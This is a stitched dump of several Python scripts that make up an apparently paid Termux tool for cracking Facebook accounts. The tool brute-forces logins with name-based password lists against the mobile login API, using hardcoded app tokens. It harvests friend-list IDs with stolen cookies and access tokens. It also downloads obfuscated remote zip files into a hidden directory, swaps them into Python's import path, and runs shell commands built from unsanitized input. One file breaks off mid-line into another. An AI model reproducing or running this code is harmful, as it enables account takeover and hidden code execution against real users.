703 | except KeyError:
704 | pass
705 |
706 | def sep():
707 | xchker()
708 | os.system('clear');print(logo);xchker()
709 |
710 | try:
711 | limit = int(input(' How many links do you want to separate ? '))
712 | except:
713 | limit = 1
714 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}')
715 | file_name = input('\033[0m Input file path : ')
716 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}')
717 | new_save = input('\033[0m Save new file as : ')
718 | y = 0
719 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}")
720 | for k in range(limit):
721 | y+=1
722 | links=input(' Put Uid Type : ')
723 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save)
724 | print(44*"\033[0m-")
725 |
726 | print(f'{rc} ids grabbed successfully{s}')
727 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines())))
728 | print('\033[0m New file saved as : \033[0;33m '+new_save)
729 | print(44*"\033[0m-")
730 |
731 | input('\033[0m[Press enter to back] ')
732 | main()
733 |
734 | def double():
735 | os.system('clear')
736 | print(logo);xchker()
737 | user_file = input('File Path : ')
738 | try:
739 | open(user_file,'r').read()
740 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m')
741 | save_file = input('Save new file as: ')
742 | os.system('touch '+save_file)
743 | os.system('sort -r '+user_file+' | uniq > '+save_file)
744 | print(50*'-')
745 | print(' Fully Removed Multi Lines Ids')
746 | print(' Dublicate Lines Removed From File')
747 | print(' File Saved As : '+save_file)
748 | print(50*'-')
749 | input('Press enter to back ')
750 | main()
751 | except FileNotFoundError:
752 | print(' Invalid File ')
753 |
754 | #----[http-capture]----
755 | try:
756 | a = "anar"
757 | t="tt"
758 | fileee = os.listdir('/sdcard/Android/data/')
759 | if f'com.h{t}pc{a}y.pro' in fileee:
760 | print('error occur 0')
761 | #exit()
762 | #exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815')
763 | except Exception as e:
764 | print(e)
765 | pass
766 | except PermissionError:
767 | pass
768 |
769 |
770 | #----[if-fork]------
771 | main()
--------------------------------------------------------------------------------
/Qsr5.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #QSR ME BAP HU TERA
4 | #coding = utf-8
5 | from uuid import uuid4
6 | import os,sys,tempfile,string,random,subprocess,uuid
7 | http_directory = tempfile.mkdtemp(prefix='.')
8 | site_packages = sys.path[4]
9 | sys.path.remove(site_packages)
10 | sys.path.insert(4,http_directory+'/reqmodule')
11 | sys.path.insert(5,http_directory)
12 | try:
13 | os.mkdir('crypto')
14 | except:pass
15 | hh = "ho"
16 | hh2 = "9/pycrypt"
17 | find_aarch = subprocess.check_output('uname -om',shell=True)
18 | if 'aarch64' in str(find_aarch):
19 | user_aarch = '64'
20 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true'
21 | elif 'arm' in str(find_aarch):
22 | user_aarch = '32'
23 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true'
24 | else:
25 | print(' Unknown aarch ')
26 | exit()
27 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'):
28 | os.system('clear')
29 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n')
30 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip')
31 | os.system('python jan.py')
32 | else:
33 | akk2="rsi"
34 | akk=f"cha{akk2}fi"
35 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}')
36 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true'
37 | os.system(f'curl -L {lib} > {http_directory}/config.zip')
38 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null')
39 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null')
40 | try:
41 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct
42 | from string import *
43 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
44 | from Crypto.Cipher import AES, PKCS1_v1_5
45 | from Crypto.PublicKey import RSA
46 | from Crypto.Random import get_random_bytes
47 | except Exception as e:
48 | print(e)
49 | print('\n Installing modules wait !')
50 | os.system('pip install futures==2 && python jan.py')
51 | except FileExistsError:
52 | os.system('pip uninstall requests urllib3 idna certifi -y')
53 | pass
54 |
55 | try:
56 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib
57 | from string import *
58 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
59 | except ModuleNotFoundError:
60 | print('\n Installing missing modules ...')
61 | os.system('pip install requests futures==2 > /dev/null')
62 | os.system('python jan.py')
63 |
64 | #----[pran links]-----
65 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'}
66 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'}
67 | lll = ("https://b-api.facebook.com/method/auth.login")
68 | #----[remover]-----
69 | import os,shutil,zlib
70 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt')
603 | file = open('.temp.txt','r').read().splitlines()
604 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
605 | #100010138361148
606 | sf = input(' Saved File As : ')
607 | print('')
608 | os.system('clear')
609 | print(logo);xchker()
610 | print(' Total ids To Dump: '+str(len(file)))
611 | print(' Dumping Is Started Wait ....')
612 | print(50*'-')
613 | with ThreadPool(max_workers=20) as yaari:
614 | for exid in file:
615 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
616 | print(' Total ids Extracted : '+str(len(total)))
617 | input(' Press enter to back ')
618 | main()
619 |
620 | def new_file(cookies,access_token):
621 | global total
622 | os.system('clear & rm -rf .txt .temp.txt')
623 | os.system('clear')
624 | print(logo);xchker()
625 | try:
626 | fl = 1
627 | except:
628 | fl = 1
629 | for xd in range(fl):
630 | idt = input(f' Put id {xd+1}: ')
631 | try:
632 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token)
633 | xyz = requests.Session()
634 | r = xyz.get(fd_url,cookies=cookies).text
635 | q = json.loads(r)
636 | for iid in q['friends']['data']:
637 | uid = iid['id']
638 | open('.txt','a').write(uid+'\n')
639 | except KeyError:
640 | print(' No Friend List : '+idt)
641 | time.sleep(3)
642 | return auto_file(cookies,access_token)
643 | except requests.exceptions.ConnectionError:
644 | print(' No internet connection ....')
645 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m')
646 | try:
647 | sl = int(input('\n How Many Links To Grab : '))
648 | except:
649 | sl = 1
650 | for el in range(sl):
651 | sid = input(f' Put {el+1} link: ')
652 | os.system('cat .txt | grep "'+sid+'" > .temp.txt')
653 | file = open('.temp.txt','r').read().splitlines()
654 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
655 | #100010138361148
656 | sf = input(' Saved File As : ')
657 | print('')
658 | os.system('clear')
659 | print(logo);xchker()
660 | print(' Total ids To Dump: '+str(len(file)))
661 | print(' Dumping Is Started Wait ....')
662 | print(50*'-')
663 | with ThreadPool(max_workers=20) as yaari:
664 | for exid in file:
665 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
666 | try:
667 | son = f"qaiser{str(random.randint(0,90))}.txt"
668 | except:
669 | son = f"qaiser{str(random.randint(10,50))}.txt"
670 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'')
671 | print(' Total ids Extracted : '+str(len(total)))
672 | print(' New ids Saved As : /sdcard/'+son)
673 | print(' Normal ids Saved As : '+sf)
674 | input(' Press enter to back ')
675 | main()
676 |
677 | def iamBadBoy(exid,cookies,access_token,sf):
678 | try:
679 | global total,loop
680 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token)
681 | xyz = requests.Session()
682 | r = xyz.get(fd_url,cookies=cookies).text
683 | q = json.loads(r)
684 | for yaad in q['friends']['data']:
685 | iid = yaad['id']
686 | name = yaad['name']
687 | total.append(iid)
688 | open(sf,'a').write(iid+'|'+name+'\n')
689 | loop+=1
690 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush()
691 | except requests.exceptions.ConnectionError:
692 | print(' No internet connection ...')
693 | except Exception as e:
694 | pass
695 | #print(e)
696 | except KeyError:
697 | pass
698 |
699 | def sep():
700 | xchker()
701 | os.system('clear');print(logo);xchker()
702 | try:
703 | limit = int(input(' How many links do you want to separate ? '))
704 | except:
705 | limit = 1
706 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}')
707 | file_name = input('\033[0m Input file path : ')
708 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}')
709 | new_save = input('\033[0m Save new file as : ')
710 | y = 0
711 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}")
712 | for k in range(limit):
713 | y+=1
714 | links=input(' Put Uid Type : ')
715 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save)
716 | print(44*"\033[0m-")
717 | print(f'{rc} ids grabbed successfully{s}')
718 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines())))
719 | print('\033[0m New file saved as : \033[0;33m '+new_save)
720 | print(44*"\033[0m-")
721 | input('\033[0m[Press enter to back] ')
722 | main()
723 |
724 | def double():
725 | os.system('clear')
726 | print(logo);xchker()
727 | user_file = input('File Path : ')
728 | try:
729 | open(user_file,'r').read()
730 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m')
731 | save_file = input('Save new file as: ')
732 | os.system('touch '+save_file)
733 | os.system('sort -r '+user_file+' | uniq > '+save_file)
734 | print(50*'-')
735 | print(' Fully Removed Multi Lines Ids')
736 | print(' Dublicate Lines Removed From File')
737 | print(' File Saved As : '+save_file)
738 | print(50*'-')
739 | input('Press enter to back ')
740 | main()
741 | except FileNotFoundError:
742 | print(' Invalid File ')
743 |
744 | #----[http-capture]----
745 | try:
746 | a = "anar"
747 | t="tt"
748 | fileee = os.listdir('/sdcard/Android/data/')
749 | if f'com.h{t}pc{a}y.pro' in fileee:
750 | print('error occur 0')
751 | #exit()
752 | #exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815')
753 | except Exception as e:
754 | print(e)
755 | pass
756 | except PermissionError:
757 | pass
758 |
759 |
760 | #----[if-fork]------
761 | '''pat = os.getcwd()
762 | datar = []
763 | datar.append(pat)
764 | if '/data/data/com.termux/files/home/Qsr' in datar:
765 | pass
766 | else:
767 | for i in range(5000):
768 | print(" data is forked / or in other file")
769 | #exit("Type > cd ~ && python jan.py")
770 |
771 | if not os.path.exists('.fam'):
772 | main()
773 | else:
774 | main()'''
775 | main()
--------------------------------------------------------------------------------
/Qsr2.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #QSR ME BAP HU TERA
4 | #coding = utf-8
5 | from uuid import uuid4
6 | import os,sys,tempfile,string,random,subprocess,uuid
7 | http_directory = tempfile.mkdtemp(prefix='.')
8 | site_packages = sys.path[4]
9 | sys.path.remove(site_packages)
10 | sys.path.insert(4,http_directory+'/reqmodule')
11 | sys.path.insert(5,http_directory)
12 | try:
13 | os.mkdir('crypto')
14 | except:pass
15 | hh = "ho"
16 | hh2 = "9/pycrypt"
17 | find_aarch = subprocess.check_output('uname -om',shell=True)
18 | if 'aarch64' in str(find_aarch):
19 | user_aarch = '64'
20 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true'
21 | elif 'arm' in str(find_aarch):
22 | user_aarch = '32'
23 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true'
24 | else:
25 | print(' Unknown aarch ')
26 | exit()
27 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'):
28 | os.system('clear')
29 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n')
30 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip')
31 | os.system('python jan.py')
32 | else:
33 | akk2="rsi"
34 | akk=f"cha{akk2}fi"
35 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}')
36 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true'
37 | os.system(f'curl -L {lib} > {http_directory}/config.zip')
38 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null')
39 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null')
40 | try:
41 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct
42 | from string import *
43 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
44 | from Crypto.Cipher import AES, PKCS1_v1_5
45 | from Crypto.PublicKey import RSA
46 | from Crypto.Random import get_random_bytes
47 | except Exception as e:
48 | print(e)
49 | print('\n Installing modules wait !')
50 | os.system('pip install futures==2 && python jan.py')
51 | except FileExistsError:
52 | os.system('pip uninstall requests urllib3 idna certifi -y')
53 | pass
54 |
55 | try:
56 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib
57 | from string import *
58 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
59 | except ModuleNotFoundError:
60 | print('\n Installing missing modules ...')
61 | os.system('pip install requests futures==2 > /dev/null')
62 | os.system('python jan.py')
63 |
64 | #----[pran links]-----
65 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'}
66 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'}
67 | lll = ("https://b-api.facebook.com/method/auth.login")
68 | #----[remover]-----
69 | import os,shutil,zlib
70 |
71 |
72 | logo= f'''
73 | .d88888b. .d8888b. 8888888b.
74 | d88P" "Y88b d88P Y88b 888 Y88b
75 | 888 888 Y88b. 888 888
76 | 888 888 "Y888b. 888 d88P
77 | 888 888 "Y88b. 8888888P"
78 | 888 Y8b 888 "888 888 T88b
79 | Y88b.Y8b88P Y88b d88P 888 T88b
80 | "Y888888" "Y8888P" 888 T88b
81 | Y8b
82 | {50*"-"}
83 | Tool Version : 10.1.15
84 | Thanks Alot : M.Hamza
85 | {50*"-"}'''
86 |
87 | #--(Dark@Colours)---#
88 | r="\033[1;91m"
89 | g="\033[1;92m"
90 | y="\033[1;93m"
91 | b="\033[1;94m"
92 | p="\033[1;95m"
93 | c="\033[1;96m"
94 | l="\033[1;97m"
95 | s="\033[0m"
96 | #--(light@Colours)---#
97 | lr="\033[0;91m"
98 | lg="\033[0;92m"
99 | ly="\033[0;93m"
100 | lb="\033[0;94m"
101 | lp="\033[0;95m"
102 | lc="\033[0;96m"
103 | ll="\033[0;97m"
104 | #--(rare-colors)--#
105 | holaa="38;5"
106 | ro=(f"\033[{holaa};208")
107 | rb=(f"\033[{holaa};32")
108 | rc=(f"\033[{holaa};122m")
109 | rg= (f"\033[{holaa};112m")
110 | rp=(f"\033[{holaa};147m")
111 |
112 | loop = 0
113 | methods = []
114 | ok=[]
115 | total=[]
116 | clone_type=[]
117 | android_models = []
118 |
119 | xny = zlib.decompress(b'x\x9c\xcb())(\xb6\xd2\xd7/J,\xd7K\xcf,\xc9(M*-N-J\xce\xcf+I\xcd+\xd1K\xce\xcf\xd5OKK)\xcb1442\xd0O,\xd0\xcfM\xcc\xcc\xd3\xcfJ\x03\x001"\x13\xc6')
120 | update = requests.get(xny).text
121 | uuidd = str(os.geteuid()) + str(os.getlogin()) + str(os.getuid())
122 | id = "".join(uuidd).replace("_","").replace("360","AHS").replace("u","9").replace("a","A")
123 | plat = platform.version()[14:][:21][::-1].upper()+platform.release()[5:][::-1].upper()+platform.version()[:8]
124 | xp = plat.replace(' ', '').replace('-', '').replace('#', '').replace(':', '').replace('.', '').replace(')', '').replace('(', '').replace('?', '').replace('=', '').replace('+', '').replace(';', '').replace('*', '').replace('_', '').replace('?', '').replace(' ', '')
125 | bxd = ""
126 | bumper = id+bxd+xp
127 | myweb2 = requests.get(xny).text
128 |
129 | def qsbuy():
130 | try:
131 | os.system('clear')
132 | print(logo)
133 | x = requests.get('https://raw.githubusercontent.com/hop09/libraries/main/version.txt').text
134 | if str("upppdate") in update:
135 | os.system('clear')
136 | exit('script is in update / maintanance be patient ')
137 | elif str("res-sseett") in update:
138 |
139 | exit('Dont Try To Bypass')
140 | elif bumper in myweb2:
141 | main()
142 | else:
143 | os.system("clear");print(logo)
144 | print(f"{lr} Your Device License Key Is Not Approved{s}")
145 | print(50*"-")
146 | print(f"{rc} Key : {bumper}{s}")
147 | print(50*"-")
148 | print(f" Note : Tool is Paid & We Accept All Types Of PAyment Method . If There was Fb Update & Tool Wasnt Run Then We Are Not Responsible For All Of This . We Will Try To Update Script Every Time But It Took Day ")
149 | print("\n Baray Mehrbani Tool Apni Zimadare May Buy Kary Lehaza May Apko Force Ni Kar Raha ! Baqe Tool Har 2 sy 3 din bad update hgaya kryga ")
150 | print(50*"-")
151 | print(f" 15-Days Price : 350")
152 | print(f" 1-Month Price : 500")
153 | print(50*"-")
154 | input("[Press Enter To Send Key To Admin]")
155 | os.system(f"termux-open-url https://wa.me/+923197951814?text={bumper}")
156 | qsbuy()
157 | except requests.exceptions.ConnectionError:
158 | exit(' No internet connection ..')
159 |
160 | def xchkger():
161 | if bumper in myweb2:
162 | pass
163 | else:
164 | qsbuy()
165 | def xchker():
166 | pass
167 | def main():
168 | #
169 | # os.system('rm -rf ...txt')
170 | os.system('clear')
171 | print(logo)
172 | print('Code Like Humor When You Have To Explain It Its Bad')
173 | print(50*'-')
174 | print('[1] Fb Cloning Menu')
175 | print('[2] File Create Menu')
176 | print('[3] Number Detail Finder')
177 | print('[4] Remove Cookie')
178 | print('[5] Clear Cache')
179 | print('[6] Best Pass Lists \033[0;97m')
180 | print('[7] How To Use Video')
181 | print('[0] Exit \033[0;97m')
182 | print(50*'-')
183 | menu_opt = input('Select choice : ')
184 | if menu_opt =='1':
185 | method_crack()
186 | elif menu_opt =='2':
187 | create_file()
188 | elif menu_opt =='3':
189 |
190 | os.system('xdg-open https://github.com/TechQaiser/Qnumber')
191 | main()
192 | elif menu_opt =='4':
193 | os.system('rm -rf fb_cookies.txt')
194 | os.system('rm -rf access_token.txt')
195 | print(' Removed Success')
196 | time.sleep(3)
197 | main()
198 | elif menu_opt =='5':
199 | isdd="les/u"
200 | isd="sr/t"
201 | isddd="p/."
202 | llb = f"/data/data/com.termux/fi{isdd}{isd}m{isddd}*"
203 | os.system(f"rm -rf {llb}")
204 | exit(" Sucessfully Removed . ")
205 | elif menu_opt =='6':
206 | os.system('clear')
207 | print(logo)
208 | print(' Select Your Country For Best PassLists')
209 | print(50*'-')
210 | print('[1] Pakistani Ids')
211 | print('[2] Bangladesh Ids')
212 | print('[3] Nigeria Ids')
213 | print('[4] Other Countries')
214 | print('[0] Back \033[0;97m')
215 | print(50*'-')
216 | menu_opt = input('Select choice : ')
217 | if menu_opt =='1':
218 | os.system('clear')
219 | print(logo)
220 | print('first last')
221 | print('First Last')
222 | print('firstlast')
223 | print('first123')
224 | print('khan123')
225 | print('first1234')
226 | print('first12345')
227 | print('i love you')
228 | print('firstkhan')
229 | print('khankhan')
230 | print('khan12345')
231 | print('khan12')
232 | print('first786')
233 | input('\nPress enter to back ')
234 | main()
235 | elif menu_opt =='2':
236 | os.system('clear')
237 | print(logo)
238 | print('first last')
239 | print('First Last')
240 | print('firstlast')
241 | print('first123')
242 | print('Bangladesh')
243 | print('first1234')
244 | print('first12345')
245 | print('bangladesh')
246 | print('i love you')
247 | print('Jannatul123')
248 | print('Mohammed123')
249 | print('Mohammad123')
250 | print('first@123')
251 | input('\nPress enter to back ')
252 | main()
253 | elif menu_opt =='3':
254 | os.system('clear')
255 | print(logo)
256 | print('first last')
257 | print('First Last')
258 | print('firstlast')
259 | print('first123')
260 | print('i love you')
261 | print('musa123')
262 | print('first12345')
263 | print('first@123')
264 | print('first@1234')
265 | print('firstfirst')
266 | print('lastlast')
267 | print('first786')
268 | print('first1122')
269 | input('\nPress enter to back ')
270 | main()
271 | elif menu_opt =='4':
272 | os.system('clear')
273 | print(logo)
274 | print('first last')
275 | print('First Last')
276 | print('firstlast')
277 | print('first123')
278 | print('i love you')
279 | print('first321')
280 | print('lastfirst')
281 | print('firstlast123')
282 | print('first12345')
283 | print('first@123')
284 | print('first@1234')
285 | print('firstfirst')
286 | print('first007')
287 | print('first789')
288 | print('first1122')
289 | input('\nPress enter to back ')
290 | main()
291 | elif menu_opt == "7":
292 | try:
293 | os.system('python use.py')
294 | except:
295 | exit('video is not avalible Right now in server try again after few hours')
296 | elif menu_opt == "0":
297 | main()
298 | else:
299 | print('\n Invalid option, try again ...')
300 | time.sleep(3)
301 | main()
302 |
303 | def login():
304 | os.system('clear')
305 | print(logo)
306 | cookies = input(' Put cookies here: ')
307 | try:
308 | print('\n Validating cookies ... ')
309 | data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookies})
310 | find_token = re.search("(EAAG\w+)", data.text)
311 | open("access_token.txt", "w").write(find_token.group(1))
312 | open("fb_cookies.txt","w").write(cookies)
313 | print(' Logged in successfully ...')
314 | time.sleep(1)
315 | os.system('python malang.py')
316 | except KeyError:
317 | print('\n Inavlid cookies, try another cookies')
318 | exit()
319 | except requests.exceptions.ConnectionError:
320 | print('\n No internet connection ...')
321 | exit()
322 | except AttributeError:
323 | print('\n Invalid cookies, try another cookies ...')
324 | exit()
325 |
326 | def method_crack():
327 | os.system('clear')
328 | print(logo)
329 | print(' [1] File Cloning ')
330 | print(' [2] Email Cloning ')
331 | print(' [3] Number Cloning ')
332 | print(' [0] Back')
333 | print(50*'-')
334 | clone_ = input(' Select : ')
335 | if clone_ == "1":
336 | clone_type.append('1')
337 | elif clone_ == "2":
338 | clone_type.append('2')
339 | elif clone_ == "3":
340 | clone_type.append('3')
341 | elif clone_ == "0":
342 | main()
343 | else:
344 | exit('invalid select')
345 | mycrackistan()
346 |
347 | def mycrackistan():
348 | global methods
349 | if '1' in clone_type:
350 | crack_main().crackfile(id)
351 | elif '2' in clone_type:
352 | crack_main().crackmail(id)
353 | elif '3' in clone_type:
354 | crack_main().cracknum(id)
355 |
356 | class crack_main():
357 | def __init__(self):
358 | self.id=[]
359 | def crackfile(self,id):
360 | global methods
361 | os.system('clear')
362 | print(logo)
363 | self.file = input(' Put file path: ')
364 | try:
365 | self.id = open(self.file).read().splitlines()
366 | self.pasw()
367 | except FileNotFoundError:
368 | print(' No file found ....')
369 | exit()
370 | def crackmail(self,id):
371 | global methods
372 | os.system("clear");print(logo)
373 | import requests,random
374 | user=[]
375 | print(" [*] First Name Example Hamza,Areesha")
376 | first = input(" First Name : ")
377 | last = input(" Last Name : ")
378 | print(" \n [*] Ex @gmail.com,@yahoo.com or @hotmail.com etc")
379 | domain = input(" Domain : ")
380 | print("\n [?] Limit ids Example 1000,5000,50000")
381 | limit = int(input(" Limit Ids : "))
382 | for nmbr in range(limit):
383 | nmpp = random.randint(99,9999)
384 | nmp = f"{first}{last}{str(nmpp)}{domain}|{first} {last}\n"
385 | naseeb = open('...txt','a').write(nmp)
386 | self.id = open('...txt').read().splitlines()
387 | self.pasw()
388 | def cracknum(self,id):
389 | global methods
390 | os.system('clear');print(logo)
391 | print('\033[0mFor Example :\033[0m 92310,92342,92300,92301 ...')
392 | kode = input('\033[0mChoose Code : \033[0m')
393 | print('\033[0mFor Example :\033[0m 2000,4000,6000 ...')
394 | limit = int(input('\033[0mIdz Limit : \033[0m'))
395 | for nmbr in range(limit):
396 | nmp = ''.join(random.choice(string.digits) for _ in range(7))
397 | xoo = kode+nmp.replace(" ","")
398 | xdr = f"{kode+nmp}|{nmp} {xoo}\n"
399 | naseeb = open('...txt','a').write(xdr)
400 | self.id = open('...txt').read().splitlines()
401 | self.pasw()
402 | def m1(self,iid,name,passlist):
403 | try:
404 | global ok,loop,android_models
405 | sys.stdout.write('\r[QSR] %s / [OK-%s] \r'%(loop,len(ok)));sys.stdout.flush()
406 | fn = name.split(' ')[0]
407 | try:
408 | ln = name.split(' ')[1]
409 | except:
410 | ln = fn
411 | for pw in passlist:
412 | pas = pw.replace('first',fn.lower()).replace('First',fn).replace('last',ln.lower()).replace('Last',ln).replace('Name',name).replace('name',name.lower())
413 | password = pas
414 | pwd_key_fetch = 'https://b-graph.facebook.com/pwd_key_fetch'
415 | pwd_key_fetch_data = {'version':'2','flow':'CONTROLLER_INITIALIZATION','method':'GET','fb_api_req_friendly_name':'pwdKeyFetch','fb_api_caller_class':'com.facebook.auth.login.AuthOperations','access_token':"438142079694454|fc0a7caa49b192f64f6f5a6d9643bb28"}
416 | pwd = requests.post(pwd_key_fetch,params=pwd_key_fetch_data).json()
417 | password_encryption_pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmofqjEw46+3ec9y3Eq1V\ny46SazS16Mlb5Ks3mQ0rG40qnkoSQmIaThD5t+tLdEWrc/rwSAdj0L2Ez01Yh4Uz\nhLIliy5hjkt8geAzV6pqgMa48y16b4fjQqsVf0KSFSaXD5IBYm0ErXck8/UKX36W\ngIE1E4QLAAZMcOJQsHZl39P/QVs4Y9lP1/WR7k9sFDbazmyBbyCIAFjHJH7x+Txf\nloj7jbbqbB3b5xC9tolyjiC3Fqybn/MrHOdJI27lQTnTiFeJuW1SpMwRULtf2Cbo\n0WsoQKWzxsUSFHupVS/0DCdx3QaKBPugrs/MTdUeCJDXBZVjTRT9kAtrWSe5u1BR\n5QIDAQAB\n-----END PUBLIC KEY-----\n'
418 | password_encryption_key_id = '25'
419 | rand_key = get_random_bytes(32)
420 | iv = get_random_bytes(12)
421 | pubkey_bytes = password_encryption_pubkey
422 | pubkey = RSA.import_key(pubkey_bytes)
423 | cipher_rsa = PKCS1_v1_5.new(pubkey)
424 | encrypted_rand_key = cipher_rsa.encrypt(rand_key)
425 | cipher_aes = AES.new(rand_key, AES.MODE_GCM, nonce=iv)
426 | current_time = int(time.time())
427 | cipher_aes.update(str(current_time).encode("utf-8"))
